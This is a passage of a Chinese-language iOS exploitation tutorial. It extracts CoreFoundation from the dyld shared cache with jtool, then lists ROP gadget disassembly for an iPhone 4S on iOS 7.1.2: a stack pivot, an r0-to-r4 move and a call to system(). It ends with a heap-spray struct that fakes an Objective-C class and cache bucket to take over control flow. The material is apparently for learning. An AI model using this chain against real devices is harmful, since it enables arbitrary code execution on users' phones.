系统共享缓存 dyld_shared_cache 在 /System/Library/Caches/com.apple.dyld/ 这个目录下:
使用jtool将里面的dylib提取出来。比如我们想要提取CoreFoundation这个framework,就可以在终端使用命令:
/Users/xx/Documents/0WorkSpaceDownload/iosauditor_python2.7_Venv/iosauditor/tools/jtool/jtool -extract CoreFoundation ./dyld_shared_cache_armv7
终端执行命令输出信息:
Extracting /System/Library/Frameworks/CoreFoundation.framework/CoreFoundation at 0x13b3000 into dyld_shared_cache_armv7.CoreFoundation
extractImage: Warning: CacheSize 130c62ee is less than Offset (e2f7000) and size (5b0a000) (=13e01000) - resulting file may be incomplete (this was fixed in 10.10)
目录下生成了CoreFoundation对应的文件:
接下来我们需要找到一个用来做stack pivot的gadget,因为我们刚开始只控制了有限的几个寄存器,并且栈指针指向的地址也不是我们可以控制的,如果我们想控制更多的寄存器并且持续控制pc的话,就需要使用stack pivot gadget将栈指针指向一段我们可以控制的内存地址,然后利用pop指令来控制更多的寄存器以及PC。另一点要注意的是,如果我们想使用thumb指令,就需要给跳转地址1,因为arm CPU是通过最低位来判断是thumb指令还是arm指令的。我们在iphone4s 7.1.2上找到的stack pivot gadgets如下:
__text:2D3B7F72 def_2D3B7EDC ; CODE XREF: _CFNumberCreate+1A4↑j
__text:2D3B7F72 ; _CFNumberCreate+1D4↑j ...
__text:2D3B7F72 MOV R0, R6 ; jumptable 2D3B7EDC default case
__text:2D3B7F74 SUB.W R4, R7, #-var_14
__text:2D3B7F78 MOV SP, R4
__text:2D3B7F7A POP.W {R8,R10}
__text:2D3B7F7E POP {R4-R7,PC}
因为进行stack pivot需要控制r4寄存器,但最开始我们只能控制r0,因此我们先找一个gadget把r0的值赋给r4,然后再调用stack pivot gadget:
__text:2D4510EE MOV R4, R0
__text:2D4510F0 LDR R1, [R4,#0x58]
__text:2D4510F2 CBZ R1, loc_2D451100
__text:2D4510F4 LDR R0, [R4,#0x4C]
__text:2D4510F6 BLX R1
经过stack pivot后,我们控制了栈和其他的寄存器,随后我们就可以调用想要执行的函数了,比如说用system指令执行”touch /tmp/iceandfire
”。当然我们也需要找到相应的gadget,并且在栈上对应的正确地址上放入相应寄存器的值:
__text:2D486842 MOV R0, R4
__text:2D486844 MOV R1, R5
__text:2D486846 BLX R6
最终我们伪造的Objective-C的结构体构造如下:
#!objc
struct heap_spray {
void* fake_objc_class_ptr;// 大小是 0x4
uint32_t r10;// 大小是 0x4
uint32_t r4;// 大小是 0x4
uint32_t r5;// 大小是 0x4
uint32_t r6;// 大小是 0x4
uint32_t r7;// 大小是 0x4
uint32_t pc;// 大小是 0x4,起始地址是 heap_spray+#0x18
uint8_t pad1[0x3c];// 大小 是 0x3c
uint32_t stack_pivot;// 起始地址是 heap_spray+#0x58 ,存放 stack pivot 的地址
struct fake_objc_class_t {
char pad[0x8];
void* cache_buckets_ptr;
uint32_t cache_bucket_mask;
} fake_objc_class;
struct fake_cache_bucket_t {
void* cached_sel;
void* cached_function;
} fake_cache_bucket;
char command[1024];
};
未完,待续。。。。。